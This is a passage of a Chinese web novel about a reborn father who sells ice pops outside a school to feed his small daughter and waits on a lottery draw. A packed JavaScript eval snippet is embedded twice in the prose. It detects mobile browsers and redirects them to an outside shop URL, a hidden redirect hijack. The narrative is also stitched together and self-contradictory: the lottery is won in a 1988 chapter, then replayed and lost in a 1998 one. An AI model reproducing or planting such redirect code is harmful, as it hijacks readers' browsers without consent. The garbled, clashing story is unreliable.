中午吃什么?晚上呢?笑笑早上只喝了小半碗糊粥,孩子正在长身体,哪禁得住饿,连口热汤都没喝上,小脸蛋还是蜡黄的。 林凡抱着笑笑站在街边,人来人往的脚步声、说话声、自行车铃声绕在耳边,他第一次真切尝到“一文钱难倒英雄汉”的滋味。 空有二十多年的记忆,想过抓机遇、做买卖,可眼下连给女儿买个馒头的钱都快没有。 不能回家,家里什么都没有,纱柜是空的,米缸是见底的,油瓶倒过来都滴不出油,回去只能让笑笑跟着饿肚子。 他的目光又开始扫街,像猎人找猎物——废品站?家里只剩点破铜烂铁,那是苏晚晴当年陪嫁的铁锅、他的旧手表,是这个家最后一点念想,不能动,动了就什么都没了。 帮人扛包?他抱着笑笑,连手都腾不开,怎么扛?忽然,眼角瞥见街角的老太太—— 她坐在小马扎上,旁边放着个漆皮掉了的木箱子,盖着厚棉被,红油漆写的“冰棍”二字褪了色,却在阳光下格外显眼,棉被缝里还冒着点凉气,偶尔能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607469|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看见里面的白霜。 一个念头“唰”地冒出来!他记得这种老式冰棍,白糖味的批发价两三分,零售卖五分钱;水果味的贵点,批发一,零售一毛五。他兜里有七毛钱,够买几根,再转卖给放学的学生,多少能赚点,至少能让笑笑中午吃上碗热面条。 林凡的心脏又活泛起来,不是彩票那种虚无缥缈的希望,是实打实的求生本能,是能让笑笑不用饿肚子的可能。 他抱着笑笑快步走过去,老太太正用蒲扇扇风,扇面上还印着“计划生育好”的字样,边角磨破了,看见他过来,笑着露出缺了的门牙,声音哑哑的: “小伙子,买冰棍啊?给闺女选根甜的?天热,解解暑。” 林凡蹲下身,手臂托着笑笑的屁股,让她坐得稳些,能清楚看见箱子里的冰棍,然后放软语气,带着点试探: “大娘,我跟您商量个事儿。我多买几根,您按批发价给我行不?我去前面小学门口帮您卖卖,您也能多卖点,不用在这一直守着,天多热啊。” 老太太愣了下,把蒲扇停在半空,仔细打量他——年轻人虽然瘦,衣服旧,但眼神亮,不像偷鸡摸狗的坏人; 怀里的小姑娘睁着大眼睛,直勾勾地盯着箱子里的冰棍,小舌头还悄悄舔了下嘴唇,可怜兮兮的,让人疼。 她摸了摸棉被角,又看了看笑笑,叹了口气,声音软了点: “批发价啊……水果的一,奶油的一毛五。你要多少?” 反正她在这也是等,有人帮着卖,还能省点劲,就是少赚点,图个省心。 林凡在心里快速算账:七毛钱全买水果冰棍,能买五根还剩一毛;但得留点头寸,万一卖不出去,至少还有一毛钱能买个馒头,不至于让笑笑饿肚子。而且冰棍化得快,买多了卖不完就浪费了。 “我要四根水果的。”他从口袋里数出四枚一毛的、一枚五分的、三枚一分的,指尖捏着钢镚儿,递了过去。钢镚儿在阳光下泛着光,却轻得让人心酸,连手都在颤。 老太太接过钱,一枚枚数清楚,放进贴身的布兜里,然后掀开棉被,一股冷气“呼”地冒出来,带着冰碴子的凉,瞬间驱散了身上的热意,连周围的空气都凉了点。她从里面拿出四根用油纸包着的冰棍,油纸是浅粉色的,印着小小的苹果图案,递给他: “拿好啊,别捏太狠,化得快,油纸破了就漏了。” 林凡接过冰棍,油纸裹着的冰凉渗进指尖,连掌心都泛起凉意,赶紧揣进怀里,借着体温挡点热。他拆开一根,油纸“刺啦”响,甜丝丝的橘子味飘出来,勾得人咽口水。 笑笑的眼睛瞬间亮了,像落了颗星星,小手伸过来,却又不敢抢,只是眼巴巴地看着,小嘴巴还微微张着。 “慢点吃,凉,别咬着舌头。” 林凡把冰棍递到她嘴边,看着她迫不及待地舔了一口,小眉头皱了下,大概是太凉了,又立刻舒展开,满足地眯起眼,小脚丫还轻轻晃了晃,像只开心的小兔子。 甜水顺着她的嘴角往下流,她赶紧用小手擦掉,又把指尖的甜水舔干净,小脸上终于露出今天第一个真正的笑容,像朵晒了太阳的小雏菊,嫩得让人疼。 林凡看着女儿的笑,鼻子一酸,觉得再难都值了。他用油纸把剩下的三根冰棍包好,揣进怀里,又把笑笑往怀里搂了搂,让她的小脑袋靠在自己锁骨处,挡住点阳光,手指轻轻拂过她额前的碎发。 太阳已经升到头顶,晒得柏油路发烫,鞋底踩上去都粘得“滋滋”响,远处传来学校的预备铃声,“叮铃铃”的,离放学只剩十几分钟了。 他抱着笑笑快步往职工子弟小学走,脚步又快又稳,怕走慢了冰棍化了,也怕赶不上放学的学生。手臂托着笑笑的力气放得很轻,怕勒着她,又怕抱不稳。 这是他和命运抗争的第一步,微小,却很坚实。口袋里的彩票藏着未来的希望,怀里的冰棍握着当下的生存,而他怀里的笑笑,是支撑他走下去的全部勇气。 笑笑抓着冰棍,小脑袋跟着他的步子轻轻晃,眼睛里满是新奇,偶尔还会指着路边的小野花,小声说 “爸爸,花”,声音软得像棉花,又指着追蝴蝶的小狗,怯生生地喊 “爸爸,狗”,小脸上满是欢喜。 林凡低头看了眼女儿,又摸了摸口袋里的彩票,脚步更稳了。 阳光虽然热,却晒得人心里亮堂,好像连未来的路,都变得清晰起来。 第四章:第一滴甜蜜的回报 第四章:第一滴甜蜜的回报 职工子弟小学那扇铁门,早被岁月啃得没了棱角——1988年的小城夏日常刮带着煤烟味的风,铁锈顺着斑驳的蓝漆往下淌,在门柱上积成暗褐色的溪流,沾着去年雨水留下的霉斑。 门楣上挂着的铜铃更旧,绿锈裹着铃身像裹了层青苔,连敲铃的铁棍都磨得发亮,露出里面的黄铜色,那是十几年学生手手相传磨出的光。 墙根下还摆着两个掉瓷的搪瓷盆,是收废品的老张头暂放的,盆沿印着“劳动最光荣”的红漆字,早就褪成了粉白色。 当分针颤巍巍追上时针,卡在十一点半的刻度时,校园里最后一节算术课刚结束。 讲台上的李老师还在擦黑板,粉笔灰混着风扇吹的热风往下落,底下的孩子早把书包扣好,手按在桌沿上等着。 “叮铃铃——叮铃铃——” 一阵急促的铃声猛地炸响,像颗石子砸进了平静的湖面。连校门口那棵三搂粗的梧桐叶都晃了晃,叶子上的蝉鸣顿了顿,又更响亮地叫起来,瞬间搅活了整条街的空气。 街对面的修车铺里,王师傅的扳手“当啷”掉在地上;粮油店的玻璃门被推开,老板娘探出头看了眼,又缩回去继续称米——这铃声她听了十几年,比自家闹钟还准。 这铃声是孩子们的冲锋号。 下一秒,原本静得能听见粉笔灰落声的校园突然“活”了——无数小身影涌出来:穿洗得发白的蓝校服的,袖口磨破了边,有的还缝着不同颜色的补丁; 套着碎花布衫的,布是妈妈用脚踏缝纫机轧的,领口绣着小小的梅花;背着军绿色帆布书包的,上面印着褪色的“为人民服务”,带子断了又用尼龙绳接好;还有拎着印着“黑猫警长”的小背包的,塑料扣早松了,得用手攥着才不掉。 孩子们欢呼着、叫喊着,有的举着弹弓追跑,橡皮筋“啪”地弹在地上,把小石子射向梧桐树干,留下一个个小白点; 有的蹲在路边比玻璃弹珠,亮闪闪的珠子在手心滚,输了的孩子噘着嘴,从兜里掏出颗奶糖抵账;还有的扯着接放学的大人的手要糖,喧闹声裹着汗水的咸气,混着远处煤厂飘来的煤烟味,瞬间把宽不过两米的街道填得满当当。 林凡抱着笑笑站在路边,手里攥着三根冰棍——是早上五点骑着借来的二八大杠自行车,去城西批发市场进的货。 当时天刚蒙蒙亮,批发市场里满是推着板车的小贩,他挤在人堆里,花了四角买了三根,红油纸裹山楂味、绿油纸裹苹果味、黄油纸裹橘子味,糖水早浸透了纸角,冰凉的水汽顺着指缝往下滴,在掌心积了个黏糊糊的小水洼,痒得他想挠,又怕把冰棍弄掉。 人潮涌来的瞬间,一个穿碎花衫的小女孩没站稳,胳膊肘撞在林凡腰上。他被撞得踉跄了一下,下意识把笑笑往怀里紧了紧,胳膊圈成个小圈子,像护着个易碎的瓷娃娃,隔开那些冲撞的小肩膀。 笑笑吓得往他颈窝里缩,小手攥着他洗得发皱的衬衫领,嘴里含着半口没化的橘子味冰棍,甜水顺着嘴角往下淌,滴在他的衣襟上,洇出个小小的甜印,风一吹,带着点橘子的清香。 “冰棍!水果冰棍!凉甜解渴的水果冰棍嘞!” 一声吆喝从林凡喉咙里挤出来,带着点破音,像被砂纸磨过。 他早上在筒子楼楼道里偷偷练过好几遍,对着斑驳的墙喊,怕被邻居听见笑话,可真站在街边,声音还是发颤——前世他坐在窗明几净的办公室里签合同、见客户,西装袖口永远熨得平整,钢笔是进口的派克,从未想过自己会站在满是煤烟味的街边,像个小贩似的扯着嗓子喊。 可低头看见笑笑沾着糖渍的嘴角,看见她亮晶晶的眼睛里映着自己的影子,那点可怜的自尊心瞬间融成了热流,顺着血管淌进心里。活下去,让笑笑每天能吃上热馒头,能偶尔喝上碗鸡蛋羹,比什么都重要。 他的吆喝声在嘈杂里像片小羽毛,却还是被几个跑得满头大汗的男孩抓住了。领头的是个剃着**头、皮肤黝黑的男孩,叫铁蛋,是附近机械厂张师傅的儿子,平时放学总帮家里捡废铁换零花钱。 他额头上的汗顺着脸颊往下淌,滴在洗得发白的蓝背心领口,洇出一小片湿痕,喘着气问:“冰棍?多少钱一根?”眼睛直勾勾盯着红油纸裹着的山楂味冰棍,咽了口唾沫,喉结动得像个小石子。 “一毛五一根。” 林凡赶紧把冰棍往前递了递,冰凉的甜香飘过去,男孩的眼睛更亮了,像落了两颗星星——他昨天还跟妈妈闹着要山楂冰棍,妈妈说“等发了工资再买”,现在总算见着了。 “一毛五?巷口张奶奶那儿也卖一毛五,你这都化糖水了!” 铁蛋挺精明,指着林凡指缝间往下滴的甜水,往后退了半步,小手还摸了摸裤兜——兜里是他捡了三天废铁换的一角二,要是多花三分,晚上就没钱买弹珠了。 林凡心里一紧——冰棍的边角已经软了,再等十分钟,恐怕就成糖水了。他赶紧放软语气,声音里带了点恳切: “小同学,你看天这么热,柏油路都晒得发软,这冰棍再放会儿就化没了。 你是我第一个买主,一角二,就按我进货的价钱给你,就这一根,多划算啊——你要是买张奶奶的,还得多走五十步呢!” 铁蛋眼睛转了转,小手在裤兜里掏了半天,摸出一把皱巴巴的零钱——有三个一分的,两个五分的,还有一个边缘磨平的两分硬币,在手心攥得发烫,汗都把纸钞浸软了。 他数了三遍,确认凑够一角二,踮着脚塞到林凡手里,指尖还沾着点煤灰。 他一把抢过冰棍,撕开油纸就啃,冰凉的甜意顺着喉咙往下滑,像喝了口冰镇汽水,他“啊”了一声,冻得缩了缩脖子,却笑得露出两颗小虎牙,跑回小伙伴堆里还不忘喊: “真甜!比张奶奶那儿的还甜!这山楂肉多!” 第一笔生意成了! 虽然少赚了三分钱——这三分钱能买一块水果糖,或者半根铅笔——但林凡的心脏“咚咚”跳得欢,手心攥着带着孩子体温的硬币,竟比前世攥着百万合同还踏实。钱虽少,却是他用双手挣来的,是能让笑笑晚上多喝半碗粥的实在,比什么都金贵。 像是打开了开关,几个原本在观望的孩子听见动静,也围了过来。一个扎着羊角辫的小女孩扯着奶奶的衣角,小手指着绿油纸的苹果味冰棍,声音软乎乎的: “奶奶,我要那个!绿的!闻着像咱家院子里的苹果花!” 奶奶是退休纺织厂的女工,手里还拎着刚买的青菜,见孙女馋得直咽口水,叹口气掏出钱包——钱包是人造革的,边角都裂了,摸出一毛五递过去。 还有个戴红领巾的男孩干脆掏出两毛钱,递得老高,声音响亮: “给我一根黄的!要橘子味的!我妈说橘子能补充维生素,比吃维生素片便宜!” 他是附近小学的中队长,说话还带着点小大人的认真。 剩下的两根冰棍很快被抢空。林凡手忙脚乱地收钱,指尖沾着糖水,黏糊糊的,却笑得合不拢嘴。 两**四分钱攥在手里,加上早上剩下的两**,总共五**八——虽然比进货成本四只多了一毛六,还不够买一碗馄饨,但笑笑嘴里还含着半根冰棍,小脸上满是满足,这就值了。 “爸爸……好吃……” 笑笑舔了舔嘴角的糖渍,声音软乎乎的,像刚剥壳的棉花糖,眼睛亮得能映出头顶的梧桐叶。 “好吃就好。” 林凡用手背蹭掉女儿嘴角的糖,指尖触到她软乎乎的脸颊,暖得像揣了个小太阳。 他不再是那个困在悔恨里的失败者——前世他投资失败,欠了一屁股债,连笑笑的学费都交不起——现在,他是能为女儿挣一口甜的父亲。 人潮渐渐散去,校门口的梧桐叶又恢复了安静,蝉鸣也慢了下来。 林凡掂量着手里的五**八,目光飘向街角——张奶奶还坐在小马扎上,蒲扇扇得“呼呼”响,冰棍箱上的棉被盖得严严实实,连个角都没露。 张奶奶是退休纺织厂女工,老伴走得早,靠卖冰棍补贴家用,那冰棍箱是她去年冬天托人从县城供销社买的,花了十五块,相当于她半个月的退休金,平时宝贝得很。 一个更大胆的念头在他脑子里冒出来,像颗发了芽的种子——有了冰棍箱,冰棍能多保冷两个小时,就能多卖几根,说不定晚上能给笑笑买碗鸡蛋羹。 他抱着笑笑走过去,张奶奶抬头看见他,有点惊讶地放下蒲扇: “哟,小伙子,这么快就卖完了?我这才刚卖出去一根呢。” “卖完了,大娘。” 林凡笑着递过四**八,硬币在手心码得整齐, “我再买四根水果的,还是老样子——两根山楂,一根苹果,一根橘子。” 这次他特意留了一毛当“救命钱”——万一晚上没生意,还能买个馒头垫垫肚子,总不能让笑笑饿肚子。 张奶奶接过钱,指尖沾着点面粉(大概是早上蒸馒头蹭的),一边掀开棉被拿冰棍,一边嘟囔: “你这速度还挺快,比我这老太婆强。我这眼睛不好,看钱都得凑到跟前。” 棉被掀开的瞬间,一股凉气冒出来,带着甜香,笑笑忍不住往林凡怀里缩了缩。 林凡接过四根冰棍,油纸裹着的冰凉硌着手心,却没立刻走。他蹲下身,语气诚恳得像在跟长辈请教: “大娘,我跟您商量个事儿。您这冰棍箱,下午能借我用用不?我帮您多卖点,下午卖的钱,我每根就赚一分钱跑腿费,剩下的都归您。主要是我带着孩子,有个箱子能保冷,也看着正经点,您看行不?” 他指了指怀里的笑笑——小姑娘正乖乖靠在他怀里,小手抓着他的衣角,睁着大眼睛看张奶奶,像只听话的小兔子,小鞋上沾的泥土还蹭在林凡的裤腿上,留下两个小小的印子。 张奶奶看着笑笑那模样,想起自己早逝的孙女,心里软了软。 张奶奶用蒲扇拍了拍腿上的灰,目光落在笑笑那只抓着衣角的小手上,沉默了会儿: “行吧。箱子你可得看好了,别磕着碰着,这箱子的锁还是我老头子当年给我装的,坏了可没地方修。冰棍还是一毛一根拿,你卖一毛五,多的三分里,你留一分,给我两分,对吧?” “对!谢谢大娘!您真是好人!” 林凡心里一阵欢喜,有了箱子,冰棍不容易化,还能多卖几根,笑笑就能多吃口热的。 下午的太阳更毒了,柏油路晒得能烫脚,鞋底沾着的尘土一落地就化成灰,踩上去软乎乎的,像踩在刚晾好的年糕上。 林凡抱着笑笑,守着盖着棉被的冰棍箱,站在梧桐树荫下吆喝: “冰棍!水果冰棍、奶油冰棍!凉甜解渴嘞!” 这次的吆喝声顺溜多了,还带了点熟稔的热乎气——他终于不再觉得丢人了。 他学会了观察——看见穿的确良衬衫的爷爷牵着孩子,就把奶油冰棍举得高些: “大爷,奶油的香,孩子吃了解暑,还补营养!您看这奶油,都是正经牛奶做的,不是掺了水的!” 那爷爷是退休教师,一开始嫌贵,看到笑笑用小手给林凡擦汗,心一软就买了两根;看见妈妈带着小姑娘,就推荐水果味的: “大姐,水果的酸甜,孩子肯定爱吃,比吃糖健康,还不蛀牙!” 笑笑也懂事,不吵不闹,看见爸爸额头的汗顺着鬓角往下淌,就掏出那块旧毛巾剪的小手帕——是林凡用自己的旧毛巾改的,边缘**糙——踮着脚往他脸上擦。 小手帕擦过林凡的下巴,留下点甜香,她还小声说: “爸爸,不热。笑笑给你扇风。”说着就用小手往林凡脸上扇,风不大,却让林凡心里凉丝丝的。 下午的生意比上午顺多了。 四根冰棍没一会儿就卖完,收了六毛钱。扣除给张奶奶的四**八,净赚一毛,加上早上留的一毛,总共两**。 这两**能买四个甜烧饼,或者一根火腿肠,是实打实的利润,是他用汗水换的,攥在手里沉甸甸的。 四点的时候,林凡把箱子还给张奶奶,又递上四**八。 张奶奶数了数钱,指尖沾着的毛线头蹭在硬币上,笑着说: “小伙子挺实在,不贪多。昨天还有人想借我箱子,说赚了钱分我一半,结果我没见着钱。明天还来不?我多进点奶油的,昨天好多人问,说孩子爱吃。” “来!大娘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607470|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明天我多拿点货——您进多少奶油的,我就帮您卖多少!” 林凡毫不犹豫——这是稳定的小收入,能让笑笑每天都有冰棍吃,不用再饿肚子。 抱着已经犯困的笑笑,林凡走在夕阳里。晚霞把天空染成橘红,连街边的电线杆都裹着层暖光,影子被拉得老长。 他的胳膊酸得发麻,后背的汗把衬衫都浸湿了,贴在身上难受,心里却像揣了个小太阳,满是充实感——就算没有彩票,他也能靠自己的双手,让笑笑过上好日子。 当然,那注彩票,还是今夜最大的盼头。 昨天他路过彩票站,花两毛钱买了注彩票,号码是笑笑生日加他的生日——3、8、0、5、1、8,他总觉得这号码带着运气。 路过烧饼摊时,笑笑的肚子突然“咕噜”响了一声,小小的声音在安静的街里格外清楚。她把头埋在林凡颈窝里,小声说: “爸爸,饿……” 冰棍终究是甜的,填不饱肚子,孩子的胃早就空了——早上只喝了半碗稀粥。 林凡摸了摸口袋里的两**,指尖捏着硬币,咬了咬牙——就算自己饿着,也不能让笑笑饿。 他走向飘着芝麻香的烧饼摊,老板是安徽来的王师傅,在这摆摊三年了,每天凌晨三点起来和面,用的是老家的酵母,烧饼烤得外酥里软。 王师傅正用铁铲翻着烤得金黄的烧饼,香味飘得老远,勾得人咽口水,炉子里的火星子“噼啪”响。 “老板,烧饼怎么卖?” “咸的五分,甜的三分。刚出炉的,热乎着呢!咸的里面加了我自家腌的咸菜,甜的是红糖,您尝尝?” 老板嗓门洪亮,铁铲“哐当”敲了下炉子,火星子溅起来,落在地上很快就灭了。 “要一个咸的。” 林凡数出五分钱,硬币在手里捏了半天——这五分能买一块橡皮,或者半张作业纸——才递过去。他接过烧饼——外皮金黄酥脆,撒满芝麻,还冒着热气,烫得他指尖发麻,赶紧用袖口裹了裹。 他把烧饼放在嘴边吹了又吹,直到指尖碰着不烫了,才递到笑笑手里: “来,笑笑,吃吧,刚出炉的,香着呢。” 笑笑两只小手捧着烧饼,眼睛里满是惊喜——这烧饼比她的脸还大,边缘还沾着点芝麻。 她小心翼翼咬了小口,酥脆的外皮在嘴里化开,咸香混着麦香,眼睛瞬间亮了,赶紧又咬了一大口,酥脆的渣子掉在小手上,她赶紧用嘴接住,生怕浪费。 芝麻渣子粘在她的小虎牙上,她伸着舌头舔了半天,没舔着,急得小脸蛋通红。 “爸爸,好吃!你也吃!” 她把烧饼递到林凡嘴边,眼里满是期待,小脸上还沾着点芝麻。 林凡的眼眶瞬间就湿了。 他轻轻咬了一小口,粗糙的面粉混着咸香,在嘴里散开,比前世吃过的任何山珍海味都香——前世他住大房子、开豪车,却从未给女儿买过这么便宜的烧饼,还让她跟着自己受了那么多苦,连顿饱饭都吃不上。 回到筒子楼时,天已经黑透了。 这筒子楼是机械厂的老宿舍,一共五层,林凡住在三楼,楼道里堆着煤球和白菜,家家户户门口挂着腌菜缸,风一吹,满是咸菜味。 楼道里的声控灯坏了快一个月了,没人修,林凡只能摸着黑上楼,楼梯扶手锈得掉渣,他一手扶着扶手,一手抱着笑笑,脚步放得很轻,怕吵醒已经睡着的笑笑——小姑娘靠在他肩膀上,嘴里还嘟囔着“烧饼好吃”。 他把女儿轻轻放在床上,盖好洗得发白的蓝棉被——这棉被是笑笑出生时他妈妈做的,现在已经短了一截,盖到笑笑的脚踝就够不着了。 小姑娘睫毛颤了颤,很快就睡着了,小脸上还带着满足的笑,嘴角边还沾着点烧饼渣。 他坐在昏黄的钨丝灯下——这灯泡只有十五瓦,亮得很暗,连墙上的影子都忽明忽暗——从贴身口袋里掏出那张彩票。 彩票纸边已经被反复摩挲得发毛,边角还沾着点汗渍,他之前怕丢,一直放在贴身的口袋里,贴着心口,能感受到心跳。 他抖着手展开,借着微弱的灯光,一个数字一个数字地核对:3、8、0、5、1、8,没错,一个都没错。 他还特意把彩票凑到灯跟前,生怕看错——前世他就是因为粗心,错过一次赚钱的机会,这次再也不能错了。 就在这时,窗外传来了收音机的声音——是楼下小卖部的王老板开的,王老板每晚都听开奖节目,附近的邻居都知道。 收音机声音不大,却字字清晰,像根弦绷在林凡心上: “各位听众朋友们,现在我们开始公布本期福利彩票中奖号码!首先公布的是二等奖号码,大家竖起耳朵听好——二等奖奖金五万元,五万元啊!够买一套房子了!” 林凡的心脏猛地提到了嗓子眼,手里的彩票攥得死紧,指节泛白,手心全是汗,连指尖都在抖。他屏住呼吸,耳朵竖得老高,连窗外的蝉鸣都听不见了—— 蝉好像也在等开奖结果,突然停了声,连风声都没了,整个楼道静得能听见自己的心跳。 只有那道声音在空气里飘: “二等奖号码是——3、8、0、5、1、8!重复一遍,3、8、0、5、1、8! 恭喜中奖的听众朋友!” “轰!” 林凡的大脑瞬间一片空白,手里的彩票“啪”地掉在桌上。 他愣了几秒,眼睛直勾勾地盯着彩票,像傻了一样,然后才猛地反应过来,抓起彩票又核对了一遍—— 3、8、0、5、1、8,和主持人念的一模一样! 眼泪“唰”地就下来了,他捂住嘴,怕吵醒笑笑,肩膀却忍不住发抖。 五万元! 在1988年的小城,五万元能买三套县城的房子, 能让他和笑笑彻底摆脱筒子楼,能让笑笑每天吃鸡蛋羹, 能让她上最好的小学,不用再跟着他受苦了! 他想起昨天还在担心明天的饭钱, 想起早上卖冰棍时的紧张,想起笑笑吃烧饼时满足的样子, 眼泪掉得更凶了,滴在彩票上,晕开了纸角的墨迹。 命运的齿轮,在这一刻,终于朝着光明的方向,稳稳地转了起来。 第五章:命运的号角 第五章:命运的号角 1998年夏,江州机械厂家属院的筒子楼里,墙皮在发潮的空气里卷着边,像张皱巴巴的旧报纸。 林凡租住的这间十平米小屋,水泥地裂着两道浅缝,墙角堆着半箱空啤酒瓶——是他下岗后打零工,老板用啤酒抵工资剩下的。 窗台上那台“熊猫牌”老式收音机,外壳掉了两块漆,调频旋钮锈得转不动,只能靠拍两下机身勉强听清声线,此刻它飘出的广播裹着“刺啦刺啦”的电流杂音,像把生了锈的重锤,每一下都砸在林凡紧绷的心上。 “……听众朋友们,欢迎收听《江州生活报》联合福利彩票中心推出的开奖直播——现在,位于市体育中心的摇奖机已通电就绪,工作人员正在核对设备,我们即将摇出本期‘好运36选6’的第一个号码……” 林凡猛地从吱呀作响的木板床边弹起,几乎是扑到窗边。 窗框是松木做的,被前几任租客磨出了三道深浅不一的凹槽,粗糙的木纹硌得他指腹发疼,掌心的老茧—— 那是在机械厂拧螺丝、下岗后搬砖留下的硬皮,此刻正死死抠着木头,连指节都泛了白。 他屏住呼吸,耳朵竖得像警觉的兔子 连窗外老槐树的叶子被风吹得“沙沙”响都滤得一干二净。 房间里15瓦的白炽灯昏黄得像团蒙了灰的雾,把他的影子拉得细长,贴在斑驳的石灰墙上,像个等待宣判的囚徒。 后背的汗早被夜风凉透,贴在洗得发白的蓝布衬衫上,勾勒出他瘦削的肩线——自从妻子苏晚晴两年前不知何故离开以后,为了凑生活费卖掉唯一的自行车,他就没再胖过,颧骨在灯光下显得格外突出。 床上,三岁的笑笑早睡着了。 小小的身子蜷缩在洗得褪色的碎花被里,胸膛随着呼吸轻轻起伏,像只安静的小猫。 她嘴角还沾着点芝麻烧饼的油星——是巷口张奶奶家的,五毛钱一个,林凡每天只舍得给笑笑买一个,自己啃两毛钱的冷馒头。 睫毛垂下来,在眼下投出浅浅的阴影,像两把小扇子。她忽然翻了个身,小手无意识地抓着林凡衬衫的下摆——那是他唯一一件没打补丁的衬衫,还是结婚时穿的——梦话里含糊地飘出“绿豆冰棍”两个字,声音软得像棉花糖。 这孩子哪知道,这场开奖对父女俩意味着什么。 下午林凡顶着38度的烈日,推着张奶奶借他的旧木箱,在三条街里转了四个小时,卖出去二十一支绿豆冰棍——三分钱一支,赚了六毛钱。 汗水滴在柏油路上,瞬间就蒸发成个小印子,他的塑料凉鞋磨破了脚后跟,渗出血丝,却没舍得给自己买一支。 笑笑眼巴巴盯着木箱时,他只敢说“等爸爸赚了钱,给你买奶油的”,其实心里早把希望押在了这张三块钱的彩票上——这钱是他从牙缝里省了五天,连最便宜的烟都戒了才凑出来的。 “……第一个号码是——3号球!” 收音机里女主持人清脆的声线刚落,林凡的心脏“咚”地一跳,像被人狠狠攥了一把。 他的拳头“唰”地攥紧,指甲差点嵌进掌心。 3!是笑笑三岁那年,第一次清晰喊出“爸爸”的月份!当时她发着烧,却突然睁着眼睛看着他,软软地喊了声“爸爸”,那一刻他在医院走廊里蹲了很久,眼泪止不住地流。 热流顺着血管往上涌,连指尖都开始发烫,像揣了颗刚从灶膛里掏出来的小太阳。 “……第二个号码,摇奖机停稳了,是8号球!” 又对了! 林凡感觉血液里像掺了温酒,从脚底直冲头顶,耳尖嗡嗡地响。 8是笑笑的生日日期——5月18号的“8”,去年笑笑生日,他没钱买蛋糕,就用面粉混了点糖,蒸了个“蛋糕”,笑笑却吃得一脸满足,说“比幼儿园的还甜”。 他盯着窗玻璃上自己的倒影:眼眶红得像充血,眼神亮得吓人,那点刚冒头的希望,像被风吹着的柴火,“噌”地窜高了半截。 “……第三个号码,0号球!!” 第三个也对了! 林凡的呼吸骤然粗重,胸口起伏得厉害,连肩膀都开始微微颤抖。 0是笑笑出生时的体重——6斤整,当时护士抱着皱巴巴的小家伙告诉他“是个女孩,6斤重”,他激动得差点摔在产房门口。 他想起下午卖冰棍时,笑笑在巷口等他,手里攥着块湿毛巾,说“爸爸擦汗”,那毛巾是她用自己的洗脸巾改的,洗得软乎乎的。这些细碎的画面像暖融融的棉花,撑着他等最后三个数字。 “……第四个号码,工作人员正在确认——是5号球!!” “嗬——” 林凡喉咙里挤出一声无意识的抽气,差点喊出声。 5!是笑笑的生日月份!他赶紧用手捂住嘴,指腹蹭到牙齿的颤抖,生怕吵醒女儿。 笑笑这两个月总说“爸爸,我想吃肉”,他只能去菜市场捡人家不要的菜叶子,偶尔买块五毛钱的碎肉,煮成汤给笑笑喝,自己连汤渣都舍不得碰。 现在,只差最后两个数字了! 他清清楚楚记得,前世自己没敢买这组“带0带5”的号码,总觉得“不吉利”, 结果这期二等奖就是这组,奖金整整五万元——在这个人均月工资只有三百二十块的年代,五万元足够在县城买一套带小院的**房,足够让笑笑每天都吃上肉,不用再啃冷馒头! “……第五个号码,摇奖机再次启动——1号球!!!” 第五个也对了!1! 是他和笑笑相依为命的“1”——只剩他们父女俩了。 林凡的头皮一阵发麻,狂喜像涨潮的海水,瞬间漫过了胸口。 他甚至能清晰想象出兑奖的场景:市彩票中心的玻璃柜台后,工作人员把一沓沓崭新的十元纸币扎成捆,递到他手里时还带着油墨的香味; 笑笑穿上他早就看中的粉色连衣裙——就在百货大楼的童装区,标价二十八块,他以前每次路过都要多看两眼;晚上还能带着笑笑去吃顿“肯德基”——听说里面的汉堡包夹着大块鸡肉,笑笑在幼儿园听小朋友说过,回来问他“汉堡是什么味道”,当时他只能含糊其辞。 只差最后一个! 只要是8,就是完整的“3、8、0、5、1、8”—— 是他精心选的“笑笑专属号码”,就能稳稳拿下二等奖! 他死死抠着窗框,指甲缝里渗出血丝都没察觉。 全部的注意力都钉在那台收音机上,连呼吸都忘了,只听见里面传来塑料小球在摇奖机里碰撞的脆响: “叮当、叮当”, 像命运的齿轮在缓缓转动,每一下都磨得他心脏发紧,连后背的冷汗都冒了出来。 主持人故意顿了顿,声音里带着笑意: “各位听众别急,最后一个特别号码马上揭晓——这关系到一等奖的百万奖金哦!” 像是在吊足所有人的胃口,那几秒钟在林凡眼里漫长得像几个世纪。 墙上那台分针停在三点的旧挂钟, “滴答、滴答” 的声音此刻格外刺耳,他甚至能数清自己的心跳——每分钟一百二十下, 比在机械厂扛机床时还快。 终于,主持人的声线再次响起,清晰得像贴在他耳边: “……最后一个号码,经过三次核对,本期特别号码是——9号球!!” 9? 不是8? 林凡脸上的血色“唰”地褪得一干二净, 刚才还在血管里沸腾的热流,瞬间被一盆冰水浇灭,只剩下极致的茫然。 他僵在原地,手指慢慢松开窗框,松木的纹路在掌心留下三道深深的印子,疼得发麻,却远不及心里的冷。 怎么会是9? 他记得清清楚楚,前世看报纸时,这期的特别号码明明是8! 是笑笑生日里的那个8! 难道重生的记忆出了偏差?还是说,他根本就没重生,只是做了场太逼真的梦? 一股冰冷的寒意从脊椎骨窜起,瞬间裹住四肢百骸。 刚燃起的希望像被狂风撕碎的纸,连碎片都没剩下,留下的空虚比没中奖前更难受—— 从云端跌进深渊的落差,压得他胸口发闷,连呼吸都觉得疼。 那三块钱、顶着烈日走街串巷的辛苦、给笑笑买烧饼时咬牙的决心,难道全都白费了? 